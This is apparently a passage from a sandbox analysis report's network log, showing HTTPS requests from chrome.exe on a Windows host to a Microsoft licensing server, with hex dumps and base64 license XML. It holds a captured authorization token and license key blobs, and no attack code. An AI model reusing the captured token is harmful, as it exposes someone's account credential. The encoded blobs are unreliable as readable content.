LlxAXqZ23+nx5n2ghWbB319xUQ3gAHi3vutcxW0EYu4MoFf+3kVo1VdxJihYML7fchf2azHMJStufF7tKl11N72gUB
sJi5iZnOXwfiB7B4lKYh3x5vZ2KfPdIQStUnZOBptzrf7x9RPD8cDFe3o++PVGJsK8Jb2tq3kr+aeLhzm6Id/kr4ZH
PHmS3ldf61PYLln9fL17+PWsOsDHkz7/Rl0+eJgZtP1dgC3Vu5dOF0ACzpt4zvm3HqYlTsG16p6VMyOYHZrX2KJdif
VOH7f5OVMjlGaj1tZF9GhBm752zHRZqQQkTMB4R+Nz1RDhkRmcRRnI9JO7BgjQPwOFZSe8xBvKNrcPLP
5ARJ+GJWSS5xjFAVxT6uAZU6MwHnGrgT4x+vlMWUJxDsAx5/JKY5/EF219tMGD8hQCSb+fb9BYFL3F/aagO162MKam
bsxMIrRucH374Xi4bDQj7VBOPrBWkuclUT148aGjNJYqtpiMS/CiRaXz+Ds/pTq2P6mniYMoIwVB14Ps6wwnJ7RAlS
tc2SEkcWZV3Tio45sCxl9Zv9vuHmKEnXU7PuS7sG3zVsKVc12aop7rUVT8EQGh0jDTpl80tIrJMRQfVvKwNlG8xLTR
T2bxdMM1RPSvLRZ0doPPBQ3xLXWQ3AOCEyFyjQ/3hYO1b2xE2a+Dswj3BOIQDshGKECzOKyj2OdWRMnLy8otyr8IAf
u3uGmgVPtbCFfgKzSvpCybywmW989QKSTFu7Xrn7DLafyfCoTZJfDD7fkjkVirFvnQPIUInsun19F2pNKrMq1KUwFz
u8mZkEDqtnjX6LEawC9VA62+L/kyJdSzdwQNJBD1ewtgiQX0Lu/9d9/R0AgVII3uTtGH5CloikBHjbJhfFY7Co6uZe
ZOKIL/9qmVDSc7ff3xKZQJAKLas3lHwfAKBvefbIQ9FzAKvSiqq+hbWggytvlVxJr8fM88U3K/WlkXyvavlNwqIZuU
m7uQ4szU1RF6ZfgnjC5jF1x4tKS1UK/+vxQ9XblOb3PX59I7PdoyRyFpdfPtDTGTIut8eygNRhAKN1krjohs2/yTrO
dj6AbKvNsNeUXEHVkksCLA71M2H9ls/e0KWUp8HWM22VCicNvgzoiFBn/5mw21CbanZYybAyWwpzHha4+PUKdAw==&
p=
User-Agent: LM
MS-CV: UznHpAHqV0GMBdER.11
Content-Length: 4273
Host: licensing.mp.microsoft.com

2022-07-01 09:01:25 UTC 2168 OUT Data Raw: 7b 22 63 6c 69 65 6e 74 43 68 61 6c 6c 65 6e 67 65 22 3a 22 50 44 39 34 62 57 77 67 64 6d 56 79 63 32 6c 
76 62 6a 30 69 4d 53 34 77 49 69 42 6c 62 6d 4e 76 5a 47 6c 75 5a 7a 30 69 64 58 52 6d 4c 54 67 69 49 44 38 2b 50 45 
4e 73 61 57 56 75 64 45 4e 6f 59 57 78 73 5a 57 35 6e 5a 53 42 34 62 57 78 75 63 7a 70 34 63 32 6b 39 49 6d 68 30 64 
48 41 36 4c 79 39 33 64 33 63 75 64 7a 4d 75 62 33 4a 6e 4c 7a 49 77 4d 44 45 76 57 45 31 4d 55 32 4e 6f 5a 57 31 68 
4c 57 6c 75 63 33 52 68 62 6d 4e 6c 49 69 42 34 62 57 78 75 63 7a 70 34 63 32 51 39 49 6d 68 30 64 48 41 36 4c 79 39 
33 64 33 63 75 64 7a 4d 75 62 33 4a 6e 4c 7a 49 77 4d 44 45 76 57 45 31 4d 55 32 4e 6f 5a 57 31 68 49 69 42 34 62 57 
78 75 63 7a 30 69 61 48 52 30 63 44 6f 76 4c 33 4e 6a 61 47 56 74 59 58 4d 
Data Ascii: {"clientChallenge":"PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiID8+PENsaWVudENoYWxs
ZW5nZSB4bWxuczp4c2k9Imh0dHA6Ly93d3cudzMub3JnLzIwMDEvWE1MU2NoZW1hLWluc3RhbmNlIiB4bWxuczp4c2
Q9Imh0dHA6Ly93d3cudzMub3JnLzIwMDEvWE1MU2NoZW1hIiB4bWxucz0iaHR0cDovL3NjaGVtYXM

2022-07-01 09:01:25 UTC 2172 IN HTTP/1.1 200 OK
Connection: close
Date: Fri, 01 Jul 2022 09:01:25 GMT
Content-Type: application/json; charset=utf-8
Server: Kestrel
Content-Length: 7941
MS-CorrelationId: 5e42f1d9-1bcd-484b-9eb1-461fc665f967
MS-RequestId: a92c2340-1d37-45d9-b335-8e6341452175
MS-CV: UznHpAHqV0GMBdER.11.1530939200.0.0
X-Content-Type-Options: nosniff
MS-ServerId: ent-bc5c55848-bfmpc

2022-07-01 09:01:25 UTC 2173 IN Data Raw: 7b 22 6c 69 63 65 6e 73 65 22 3a 7b 22 6b 65 79 73 22 3a 5b 7b 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 64 
72 6d 54 79 70 65 22 3a 22 4d 6b 6d 73 22 2c 22 6b 65 79 49 64 22 3a 22 35 62 30 61 33 39 61 61 2d 31 36 65 30 2d 61 
39 33 38 2d 66 36 39 34 2d 36 35 36 36 36 34 63 37 62 65 31 35 22 7d 2c 22 76 61 6c 75 65 22 3a 22 50 45 78 70 59 32 
56 75 63 32 55 67 65 47 31 73 62 6e 4d 36 65 48 4e 6b 50 53 4a 6f 64 48 52 77 4f 69 38 76 64 33 64 33 4c 6e 63 7a 4c 
6d 39 79 5a 79 38 79 4d 44 41 78 4c 31 68 4e 54 46 4e 6a 61 47 56 74 59 53 49 67 65 47 31 73 62 6e 4d 36 65 48 4e 70 
50 53 4a 6f 64 48 52 77 4f 69 38 76 64 33 64 33 4c 6e 63 7a 4c 6d 39 79 5a 79 38 79 4d 44 41 78 4c 31 68 4e 54 46 4e 
6a 61 47 56 74 59 53 31 70 62 6e 4e 30 59 57 35 6a 5a 53 49 67 53 55 51 39 
Data Ascii: {"license":{"keys":[{"metadata":{"drmType":"Mkms","keyId":"5b0a39aa-16e0-a938-f694-656664c7be15"},
"value":"PExpY2Vuc2UgeG1sbnM6eHNkPSJodHRwOi8vd3d3LnczLm9yZy8yMDAxL1hNTFNjaGVtYSIgeG1sbnM6e
HNpPSJodHRwOi8vd3d3LnczLm9yZy8yMDAxL1hNTFNjaGVtYS1pbnN0YW5jZSIgSUQ9

2022-07-01 09:01:25 UTC 2174 IN Data Raw: 44 6f 78 4f 53 34 33 4e 6a 59 78 4e 7a 51 33 57 6a 77 76 51 6d 56 6e 61 57 35 45 59 58 52 6c 50 6a 77 76 54 
47 6c 6a 5a 57 35 7a 5a 55 6c 75 5a 6d 38 2b 50 45 4e 31 63 33 52 76 62 56 42 76 62 47 6c 6a 61 57 56 7a 50 6d 56 35 
53 6e 4e 61 56 32 52 6f 57 54 4e 73 55 57 4e 74 4f 57 74 6b 56 30 34 77 55 31 64 52 61 55 39 70 53 54 4e 5a 4d 6c 55 
79 54 31 52 5a 4d 6c 6c 35 4d 48 64 5a 65 6b 31 36 54 46 52 52 4e 45 35 55 52 58 52 50 52 47 73 78 54 30 4d 77 65 55 
39 45 56 6d 68 5a 62 55 70 6f 54 6b 64 52 4d 31 6b 79 54 57 6c 6d 55 54 30 39 50 43 39 44 64 58 4e 30 62 32 31 51 62 
32 78 70 59 32 6c 6c 63 7a 34 38 55 31 42 4d 61 57 4e 6c 62 6e 4e 6c 51 6d 78 76 59 32 73 2b 52 6b 46 42 51 55 46 4c 
64 30 46 42 51 55 52 4b 51 55 46 42 51 55 4e 6e 51 55 46 42 51 56 56 42 
Data Ascii: DoxOS43NjYxNzQ3WjwvQmVnaW5EYXRlPjwvTGljZW5zZUluZm8+PEN1c3RvbVBvbGljaWVzPmV5SnN
aV2RoWTNsUWNtOWtkV04wU1dRaU9pSTNZMlUyT1RZMll5MHdZek16TFRRNE5URXRPRGsxT0MweU9EVmh
ZbUpoTkdRM1kyTWlmUT09PC9DdXN0b21Qb2xpY2llcz48U1BMaWNlbnNlQmxvY2s+RkFBQUFLd0FBQUR
KQUFBQUNnQUFBQVVB

2022-07-01 09:01:25 UTC 2175 IN Data Raw: 53 49 69 50 6a 78 55 63 6d 46 75 63 32 5a 76 63 6d 31 7a 50 6a 78 55 63 6d 46 75 63 32 5a 76 63 6d 30 67 
51 57 78 6e 62 33 4a 70 64 47 68 74 50 53 4a 6f 64 48 52 77 4f 69 38 76 64 33 64 33 4c 6e 63 7a 4c 6d 39 79 5a 79 38 
79 4d 44 41 77 4c 7a 41 35 4c 33 68 74 62 47 52 7a 61 57 63 6a 5a 57 35 32 5a 57 78 76 63 47 56 6b 4c 58 4e 70 5a 32 
35 68 64 48 56 79 5a 53 49 67 4c 7a 34 38 4c 31 52 79 59 57 35 7a 5a 6d 39 79 62 58 4d 2b 50 45 52 70 5a 32 56 7a 64 
45 31 6c 64 47 68 76 5a 43 42 42 62 47 64 76 63 6d 6c 30 61 47 30 39 49 6d 68 30 64 48 41 36 4c 79 39 33 64 33 63 75 
64 7a 4d 75 62 33 4a 6e 4c 7a 49 77 4d 44 45 76 4d 44 51 76 65 47 31 73 5a 57 35 6a 49 33 4e 6f 59 54 49 31 4e 69 49 
67 4c 7a 34 38 52 47 6c 6e 5a 58 4e 30 56 6d 46 73 64 57 55 2b 4d 31 68 68 
Data Ascii: SIiPjxUcmFuc2Zvcm1zPjxUcmFuc2Zvcm0gQWxnb3JpdGhtPSJodHRwOi8vd3d3LnczLm9yZy8yMDA
wLzA5L3htbGRzaWcjZW52ZWxvcGVkLXNpZ25hdHVyZSIgLz48L1RyYW5zZm9ybXM+PERpZ2VzdE1ldGhvZCBBbGdvc
ml0aG09Imh0dHA6Ly93d3cudzMub3JnLzIwMDEvMDQveG1sZW5jI3NoYTI1NiIgLz48RGlnZXN0VmFsdWU+M1hh

Timestamp
kBytes
transferred

Direction Data
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2022-07-01 09:01:25 UTC 2176 IN Data Raw: 32 52 44 4d 69 39 55 55 57 39 6b 5a 32 56 49 57 6e 70 69 5a 45 4a 32 65 45 70 32 53 32 68 77 59 6e 4a 78 
4e 6c 70 51 4d 45 5a 7a 55 30 56 73 54 48 64 53 62 30 78 42 62 58 59 33 65 6b 6c 31 56 6e 63 7a 56 6d 49 33 64 47 5a 
52 64 44 56 69 61 6b 4e 45 53 46 4a 42 52 7a 6c 6d 5a 58 4e 4f 62 46 6c 4c 56 6a 4e 35 59 6e 6c 4f 63 6b 68 35 65 6d 6
4 73 5a 6c 70 51 55 6b 49 31 56 55 70 61 64 7a 4d 79 65 57 6b 77 4d 33 70 52 59 53 74 4d 54 47 45 77 4e 57 5a 71 63 
7a 5a 71 62 30 56 74 62 45 68 6a 4e 55 4a 79 52 31 46 79 52 33 4a 69 54 6b 31 43 59 57 68 36 4e 47 4e 74 64 58 68 4c 
51 7a 51 76 5a 47 68 46 59 6a 64 4b 57 6b 5a 56 61 32 4d 77 54 56 4a 6f 63 79 39 4e 4d 31 5a 6c 4e 54 45 78 53 46 46 
6d 53 33 56 48 4b 7a 6b 79 5a 7a 46 50 5a 6d 5a 4b 5a 46 4a 7a 51 56 42 36 
Data Ascii: 2RDMi9UUW9kZ2VIWnpiZEJ2eEp2S2hwYnJxNlpQMEZzU0VsTHdSb0xBbXY3ekl1VnczVmI3dGZRdDV
iakNESFJBRzlmZXNObFlLVjN5YnlOckh5emdsZlpQUkI1VUpadzMyeWkwM3pRYStMTGEwNWZqczZqb0VtbEhjNUJyR
1FyR3JiTk1CYWh6NGNtdXhLQzQvZGhFYjdKWkZVa2MwTVJocy9NM1ZlNTExSFFmS3VHKzkyZzFPZmZKZFJzQVB6

2022-07-01 09:01:25 UTC 2177 IN Data Raw: 4e 61 57 4e 79 62 33 4e 76 5a 6e 51 75 54 57 56 7a 63 32 46 6e 61 57 35 6e 58 7a 68 33 5a 57 74 35 59 6a 
4e 6b 4f 47 4a 69 64 32 55 38 4c 30 46 7a 63 32 39 6a 61 57 46 30 5a 57 52 51 52 6b 35 7a 50 6a 78 4d 5a 57 46 7a 5a 
56 4a 6c 62 6d 56 33 59 57 78 51 5a 58 4a 70 62 32 51 2b 4d 54 49 35 4e 6a 41 77 50 43 39 4d 5a 57 46 7a 5a 56 4a 6c 
62 6d 56 33 59 57 78 51 5a 58 4a 70 62 32 51 2b 50 43 39 43 61 57 35 6b 61 57 35 6e 50 6a 78 4d 61 57 4e 6c 62 6e 4e 
6c 53 57 35 6d 62 79 42 55 65 58 42 6c 50 53 4a 4d 5a 57 46 7a 5a 53 49 67 54 47 6c 6a 5a 57 35 7a 5a 56 56 7a 59 57 
64 6c 50 53 4a 50 62 6d 78 70 62 6d 55 69 49 45 78 70 59 32 56 75 63 32 56 44 59 58 52 6c 5a 32 39 79 65 54 30 69 55 
6d 56 30 59 57 6c 73 49 6a 34 38 53 58 4e 7a 64 57 56 6b 52 47 46 30 5a 54 
Data Ascii: NaWNyb3NvZnQuTWVzc2FnaW5nXzh3ZWt5YjNkOGJid2U8L0Fzc29jaWF0ZWRQRk5zPjxMZWFzZVJlb
mV3YWxQZXJpb2Q+MTI5NjAwPC9MZWFzZVJlbmV3YWxQZXJpb2Q+PC9CaW5kaW5nPjxMaWNlbnNlSW5mb
yBUeXBlPSJMZWFzZSIgTGljZW5zZVVzYWdlPSJPbmxpbmUiIExpY2Vuc2VDYXRlZ29yeT0iUmV0YWlsIj48SXNzdWV
kRGF0ZT

2022-07-01 09:01:25 UTC 2178 IN Data Raw: 5a 4d 6e 52 6f 57 6a 4a 57 53 6c 70 48 56 6e 56 6b 52 32 78 74 59 56 64 57 65 55 6c 71 62 32 6c 4f 61 6d 4d 
77 57 58 70 53 61 6b 31 55 55 58 52 4f 4d 6b 70 6f 57 56 4d 78 62 55 35 36 5a 33 6c 4d 56 31 56 35 54 56 52 52 64 45 
39 55 56 54 4a 61 52 30 31 36 57 57 31 57 61 31 70 71 54 54 56 4a 61 58 64 70 59 30 64 47 61 6d 45 79 52 6d 35 61 56 
6c 49 31 59 30 64 56 61 55 39 70 53 6e 52 6a 4d 6d 77 30 53 57 6c 33 61 57 4e 49 53 6e 5a 61 53 46 5a 71 5a 45 56 47 
61 31 70 46 4f 58 56 6a 65 55 6b 32 56 7a 45 77 63 30 6c 75 51 6e 6c 69 4d 6c 49 78 57 54 4e 53 53 6c 70 44 53 54 5a 
4a 61 6d 78 59 56 32 74 53 54 31 45 78 53 6b 64 54 61 30 70 53 54 6d 6c 4a 63 30 6c 75 54 6e 4a 6b 56 57 78 72 53 57 
70 76 61 55 31 45 51 58 68 4e 51 30 6f 35 57 46 4e 33 61 57 4e 48 4f 58 
Data Ascii: ZMnRoWjJWSlpHVnVkR2xtYVdWeUlqb2lOamMwWXpSak1UUXROMkpoWVMxbU56Z3lMV1V5TVRRdE9UV
TJaR016WW1Wa1pqTTVJaXdpY0dGamEyRm5aVlI1Y0dVaU9pSnRjMmw0SWl3aWNISnZaSFZqZEVGa1pFO
XVjeUk2VzEwc0luQnliMlIxWTNSSlpDSTZJamxYV2tST1ExSkdTa0pSTmlJc0luTnJkVWxrSWpvaU1EQXhNQ0o5WFN
3aWNHOX

2022-07-01 09:01:25 UTC 2179 IN Data Raw: 68 64 47 6c 76 62 6b 31 6c 64 47 68 76 5a 43 42 42 62 47 64 76 63 6d 6c 30 61 47 30 39 49 6d 68 30 64 48 
41 36 4c 79 39 33 64 33 63 75 64 7a 4d 75 62 33 4a 6e 4c 7a 49 77 4d 44 45 76 4d 54 41 76 65 47 31 73 4c 57 56 34 59 
79 31 6a 4d 54 52 75 49 79 49 67 4c 7a 34 38 55 32 6c 6e 62 6d 46 30 64 58 4a 6c 54 57 56 30 61 47 39 6b 49 45 46 73 
5a 32 39 79 61 58 52 6f 62 54 30 69 61 48 52 30 63 44 6f 76 4c 33 64 33 64 79 35 33 4d 79 35 76 63 6d 63 76 4d 6a 41 
77 4d 53 38 77 4e 43 39 34 62 57 78 6b 63 32 6c 6e 4c 57 31 76 63 6d 55 6a 63 6e 4e 68 4c 58 4e 6f 59 54 49 31 4e 69 
49 67 4c 7a 34 38 55 6d 56 6d 5a 58 4a 6c 62 6d 4e 6c 49 46 56 53 53 54 30 69 49 6a 34 38 56 48 4a 68 62 6e 4e 6d 62 
33 4a 74 63 7a 34 38 56 48 4a 68 62 6e 4e 6d 62 33 4a 74 49 45 46 73 5a 32 
Data Ascii: hdGlvbk1ldGhvZCBBbGdvcml0aG09Imh0dHA6Ly93d3cudzMub3JnLzIwMDEvMTAveG1sLWV4Yy1jM
TRuIyIgLz48U2lnbmF0dXJlTWV0aG9kIEFsZ29yaXRobT0iaHR0cDovL3d3dy53My5vcmcvMjAwMS8wNC94bWxkc2l
nLW1vcmUjcnNhLXNoYTI1NiIgLz48UmVmZXJlbmNlIFVSST0iIj48VHJhbnNmb3Jtcz48VHJhbnNmb3JtIEFsZ2

2022-07-01 09:01:25 UTC 2180 IN Data Raw: 77 57 57 51 78 53 47 68 6a 56 45 64 72 54 6c 46 58 63 57 59 32 54 55 64 79 52 33 6f 77 5a 7a 30 39 50 43 39 
54 61 57 64 75 59 58 52 31 63 6d 56 57 59 57 78 31 5a 54 34 38 53 32 56 35 53 57 35 6d 62 79 42 4a 5a 44 30 69 58 7a 
42 6d 4f 44 46 69 4d 6a 52 6d 4c 57 4a 6a 4e 44 41 74 4d 6a 63 78 4d 69 30 77 5a 44 56 6b 4c 57 55 33 59 7a 45 77 4d 
44 67 31 59 7a 4d 7a 4d 43 49 2b 50 45 74 6c 65 56 5a 68 62 48 56 6c 50 6a 78 53 55 30 46 4c 5a 58 6c 57 59 57 78 31 
5a 54 34 38 54 57 39 6b 64 57 78 31 63 7a 35 76 56 6c 4e 4b 57 45 6c 30 52 48 4e 68 51 55 6c 6d 64 33 6c 53 4f 57 4a 
6f 61 43 39 61 55 33 42 77 51 30 46 50 4b 32 6c 75 4f 56 42 50 54 46 64 6b 51 7a 49 76 56 46 46 76 5a 47 64 6c 53 46 
70 36 59 6d 52 43 64 6e 68 4b 64 6b 74 6f 63 47 4a 79 63 54 5a 61 55 44 
Data Ascii: wWWQxSGhjVEdrTlFXcWY2TUdyR3owZz09PC9TaWduYXR1cmVWYWx1ZT48S2V5SW5mbyB
JZD0iXzBmODFiMjRmLWJjNDAtMjcxMi0wZDVkLWU3YzEwMDg1YzMzMCI+PEtleVZhbHVlPjxSU0FLZXlWYWx1ZT48T
W9kdWx1cz5vVlNKWEl0RHNhQUlmd3lSOWJoaC9aU3BwQ0FPK2luOVBPTFdkQzIvVFFvZGdlSFp6YmRCdnhKdktocGJ
ycTZaUD

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

125 192.168.2.5 49892 20.123.104.105 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data
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2022-07-01 09:01:26 UTC 2181 OUT POST /v7.0/licenses/content HTTP/1.1
Connection: Keep-Alive
Content-Type: application/json; charset=utf-8
Authorization: t=EwCoBF8iAQAUkOrzy5O8+zKmOLh4X1kZomC7Ye8AAXIEoR7zVBsigo9+ELiiOPQgXNnqxslE8
JGHvlJPLIUUKouiwbgUni88ojzdGkdqFYYxxM5X9Ms5ydSvJFd3DZPMh0fLqF+d6noF2yzw2kJ7MwjAqWkQK0UX/a2
X3ShCSw11oNjoZpYc16pKFSkiL1guCryQknhJFxUNvpcM/mUO4J45kW/UANpVJMg9gDEiHFbRMPVe4XwtYHsROYOhh
Wh/1ix6VL6WuHyfvlkfekuIUUqh1k5GyjH1OMI7ATpSB8ZlpG7DvmA3TMU3Avh/Kyp20u4YfE7FQeZk27MtQODcOqx
r47CWO34DzhVOwzM6ckzQAjwiuN4oCNPUinxYaD0DZgAACCrsBL0oic4EeAOxmnWWC6VaWWaLWlPjwhzf4JoklMOzh
LlxAXqZ23+nx5n2ghWbB319xUQ3gAHi3vutcxW0EYu4MoFf+3kVo1VdxJihYML7fchf2azHMJStufF7tKl11N72gUB
sJi5iZnOXwfiB7B4lKYh3x5vZ2KfPdIQStUnZOBptzrf7x9RPD8cDFe3o++PVGJsK8Jb2tq3kr+aeLhzm6Id/kr4ZH
PHmS3ldf61PYLln9fL17+PWsOsDHkz7/Rl0+eJgZtP1dgC3Vu5dOF0ACzpt4zvm3HqYlTsG16p6VMyOYHZrX2KJdif
VOH7f5OVMjlGaj1tZF9GhBm752zHRZqQQkTMB4R+Nz1RDhkRmcRRnI9JO7BgjQPwOFZSe8xBvKNrcPLP
5ARJ+GJWSS5xjFAVxT6uAZU6MwHnGrgT4x+vlMWUJxDsAx5/JKY5/EF219tMGD8hQCSb+fb9BYFL3F/aagO162MKam
bsxMIrRucH374Xi4bDQj7VBOPrBWkuclUT148aGjNJYqtpiMS/CiRaXz+Ds/pTq2P6mniYMoIwVB14Ps6wwnJ7RAlS
tc2SEkcWZV3Tio45sCxl9Zv9vuHmKEnXU7PuS7sG3zVsKVc12aop7rUVT8EQGh0jDTpl80tIrJMRQfVvKwNlG8xLTR
T2bxdMM1RPSvLRZ0doPPBQ3xLXWQ3AOCEyFyjQ/3hYO1b2xE2a+Dswj3BOIQDshGKECzOKyj2OdWRMnLy8otyr8IAf
u3uGmgVPtbCFfgKzSvpCybywmW989QKSTFu7Xrn7DLafyfCoTZJfDD7fkjkVirFvnQPIUInsun19F2pNKrMq1KUwFz
u8mZkEDqtnjX6LEawC9VA62+L/kyJdSzdwQNJBD1ewtgiQX0Lu/9d9/R0AgVII3uTtGH5CloikBHjbJhfFY7Co6uZe
ZOKIL/9qmVDSc7ff3xKZQJAKLas3lHwfAKBvefbIQ9FzAKvSiqq+hbWggytvlVxJr8fM88U3K/WlkXyvavlNwqIZuU
m7uQ4szU1RF6ZfgnjC5jF1x4tKS1UK/+vxQ9XblOb3PX59I7PdoyRyFpdfPtDTGTIut8eygNRhAKN1krjohs2/yTrO
dj6AbKvNsNeUXEHVkksCLA71M2H9ls/e0KWUp8HWM22VCicNvgzoiFBn/5mw21CbanZYybAyWwpzHha4+PUKdAw==&
p=
User-Agent: LM
MS-CV: UznHpAHqV0GMBdER.12
Content-Length: 4445
Host: licensing.mp.microsoft.com

2022-07-01 09:01:26 UTC 2182 OUT Data Raw: 7b 22 63 6c 69 65 6e 74 43 68 61 6c 6c 65 6e 67 65 22 3a 22 50 44 39 34 62 57 77 67 64 6d 56 79 63 32 6c 
76 62 6a 30 69 4d 53 34 77 49 69 42 6c 62 6d 4e 76 5a 47 6c 75 5a 7a 30 69 64 58 52 6d 4c 54 67 69 49 44 38 2b 50 45 
4e 73 61 57 56 75 64 45 4e 6f 59 57 78 73 5a 57 35 6e 5a 53 42 34 62 57 78 75 63 7a 70 34 63 32 6b 39 49 6d 68 30 64 
48 41 36 4c 79 39 33 64 33 63 75 64 7a 4d 75 62 33 4a 6e 4c 7a 49 77 4d 44 45 76 57 45 31 4d 55 32 4e 6f 5a 57 31 68 
4c 57 6c 75 63 33 52 68 62 6d 4e 6c 49 69 42 34 62 57 78 75 63 7a 70 34 63 32 51 39 49 6d 68 30 64 48 41 36 4c 79 39 
33 64 33 63 75 64 7a 4d 75 62 33 4a 6e 4c 7a 49 77 4d 44 45 76 57 45 31 4d 55 32 4e 6f 5a 57 31 68 49 69 42 34 62 57 
78 75 63 7a 30 69 61 48 52 30 63 44 6f 76 4c 33 4e 6a 61 47 56 74 59 58 4d 
Data Ascii: {"clientChallenge":"PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiID8+PENsaWVudENoYWxs
ZW5nZSB4bWxuczp4c2k9Imh0dHA6Ly93d3cudzMub3JnLzIwMDEvWE1MU2NoZW1hLWluc3RhbmNlIiB4bWxuczp4c2
Q9Imh0dHA6Ly93d3cudzMub3JnLzIwMDEvWE1MU2NoZW1hIiB4bWxucz0iaHR0cDovL3NjaGVtYXM

2022-07-01 09:01:26 UTC 2187 IN HTTP/1.1 200 OK
Connection: close
Date: Fri, 01 Jul 2022 09:01:25 GMT
Content-Type: application/json; charset=utf-8
Server: Kestrel
Content-Length: 8117
MS-CorrelationId: 5ab65b1a-2f80-45ab-8746-17a800e94e8c
MS-RequestId: aaf444d9-ae95-40f5-be18-c4ac9064ff87
MS-CV: UznHpAHqV0GMBdER.12.1530939250.0.0
X-Content-Type-Options: nosniff
MS-ServerId: 66

2022-07-01 09:01:26 UTC 2187 IN Data Raw: 7b 22 6c 69 63 65 6e 73 65 22 3a 7b 22 6b 65 79 73 22 3a 5b 7b 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 64 
72 6d 54 79 70 65 22 3a 22 4d 6b 6d 73 22 2c 22 6b 65 79 49 64 22 3a 22 36 30 30 66 34 36 62 30 2d 37 31 37 33 2d 63 
64 64 33 2d 35 65 66 62 2d 32 62 66 31 31 30 65 66 32 33 30 63 22 7d 2c 22 76 61 6c 75 65 22 3a 22 50 45 78 70 59 32 
56 75 63 32 55 67 65 47 31 73 62 6e 4d 36 65 48 4e 6b 50 53 4a 6f 64 48 52 77 4f 69 38 76 64 33 64 33 4c 6e 63 7a 4c 
6d 39 79 5a 79 38 79 4d 44 41 78 4c 31 68 4e 54 46 4e 6a 61 47 56 74 59 53 49 67 65 47 31 73 62 6e 4d 36 65 48 4e 70 
50 53 4a 6f 64 48 52 77 4f 69 38 76 64 33 64 33 4c 6e 63 7a 4c 6d 39 79 5a 79 38 79 4d 44 41 78 4c 31 68 4e 54 46 4e 
6a 61 47 56 74 59 53 31 70 62 6e 4e 30 59 57 35 6a 5a 53 49 67 53 55 51 39 
Data Ascii: {"license":{"keys":[{"metadata":{"drmType":"Mkms","keyId":"600f46b0-7173-cdd3-5efb-2bf110ef230c"},
"value":"PExpY2Vuc2UgeG1sbnM6eHNkPSJodHRwOi8vd3d3LnczLm9yZy8yMDAxL1hNTFNjaGVtYSIgeG1sbnM6e
HNpPSJodHRwOi8vd3d3LnczLm9yZy8yMDAxL1hNTFNjaGVtYS1pbnN0YW5jZSIgSUQ9

2022-07-01 09:01:26 UTC 2188 IN Data Raw: 54 6b 75 4d 54 4d 7a 4d 7a 41 34 4d 31 6f 38 4c 30 4a 6c 5a 32 6c 75 52 47 46 30 5a 54 34 38 4c 30 78 70 59 
32 56 75 63 32 56 4a 62 6d 5a 76 50 6a 78 44 64 58 4e 30 62 32 31 51 62 32 78 70 59 32 6c 6c 63 7a 35 6c 65 55 70 7a 
57 6c 64 6b 61 46 6b 7a 62 46 46 6a 62 54 6c 72 5a 46 64 4f 4d 46 4e 58 55 57 6c 50 61 55 6b 79 54 56 52 42 65 55 35 
55 53 54 4a 4e 51 7a 46 71 54 58 70 56 4d 6b 78 55 55 6d 31 4f 61 6c 6c 30 54 30 52 57 61 56 70 54 4d 57 70 4f 61 6c 5
5 7a 57 6b 64 5a 4e 56 6c 58 57 58 70 61 61 6d 4e 70 5a 6c 45 39 50 54 77 76 51 33 56 7a 64 47 39 74 55 47 39 73 61 
57 4e 70 5a 58 4d 2b 50 46 4e 51 54 47 6c 6a 5a 57 35 7a 5a 55 4a 73 62 32 4e 72 50 6b 5a 42 51 55 46 42 53 32 64 42 
51 55 46 45 53 6b 46 42 51 55 46 44 5a 30 46 42 51 55 46 56 51 55 46 52 
Data Ascii: TkuMTMzMzA4M1o8L0JlZ2luRGF0ZT48L0xpY2Vuc2VJbmZvPjxDdXN0b21Qb2xpY2llcz5leUpzWld
kaFkzbFFjbTlrZFdOMFNXUWlPaUkyTVRBeU5USTJNQzFqTXpVMkxUUm1Oall0T0RWaVpTMWpOalUzWkd
ZNVlXWXpaamNpZlE9PTwvQ3VzdG9tUG9saWNpZXM+PFNQTGljZW5zZUJsb2NrPkZBQUFBS2dBQUFESkF
BQUFDZ0FBQUFVQUFR

2022-07-01 09:01:26 UTC 2189 IN Data Raw: 6d 39 79 62 58 4d 2b 50 46 52 79 59 57 35 7a 5a 6d 39 79 62 53 42 42 62 47 64 76 63 6d 6c 30 61 47 30 39 
49 6d 68 30 64 48 41 36 4c 79 39 33 64 33 63 75 64 7a 4d 75 62 33 4a 6e 4c 7a 49 77 4d 44 41 76 4d 44 6b 76 65 47 31 
73 5a 48 4e 70 5a 79 4e 6c 62 6e 5a 6c 62 47 39 77 5a 57 51 74 63 32 6c 6e 62 6d 46 30 64 58 4a 6c 49 69 41 76 50 6a 
77 76 56 48 4a 68 62 6e 4e 6d 62 33 4a 74 63 7a 34 38 52 47 6c 6e 5a 58 4e 30 54 57 56 30 61 47 39 6b 49 45 46 73 5a 
32 39 79 61 58 52 6f 62 54 30 69 61 48 52 30 63 44 6f 76 4c 33 64 33 64 79 35 33 4d 79 35 76 63 6d 63 76 4d 6a 41 77 
4d 53 38 77 4e 43 39 34 62 57 78 6c 62 6d 4d 6a 63 32 68 68 4d 6a 55 32 49 69 41 76 50 6a 78 45 61 57 64 6c 63 33 52 
57 59 57 78 31 5a 54 35 4a 62 58 64 45 65 6e 4a 71 62 48 56 76 53 45 74 53 
Data Ascii: m9ybXM+PFRyYW5zZm9ybSBBbGdvcml0aG09Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvMDkveG1sZHN
pZyNlbnZlbG9wZWQtc2lnbmF0dXJlIiAvPjwvVHJhbnNmb3Jtcz48RGlnZXN0TWV0aG9kIEFsZ29yaXRobT0iaHR0c
DovL3d3dy53My5vcmcvMjAwMS8wNC94bWxlbmMjc2hhMjU2IiAvPjxEaWdlc3RWYWx1ZT5JbXdEenJqbHVvSEtS

Timestamp
kBytes
transferred

Direction Data
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2022-07-01 09:01:26 UTC 2190 IN Data Raw: 55 68 61 65 6d 4a 6b 51 6e 5a 34 53 6e 5a 4c 61 48 42 69 63 6e 45 32 57 6c 41 77 52 6e 4e 54 52 57 78 4d 
64 31 4a 76 54 45 46 74 64 6a 64 36 53 58 56 57 64 7a 4e 57 59 6a 64 30 5a 6c 46 30 4e 57 4a 71 51 30 52 49 55 6b 46 
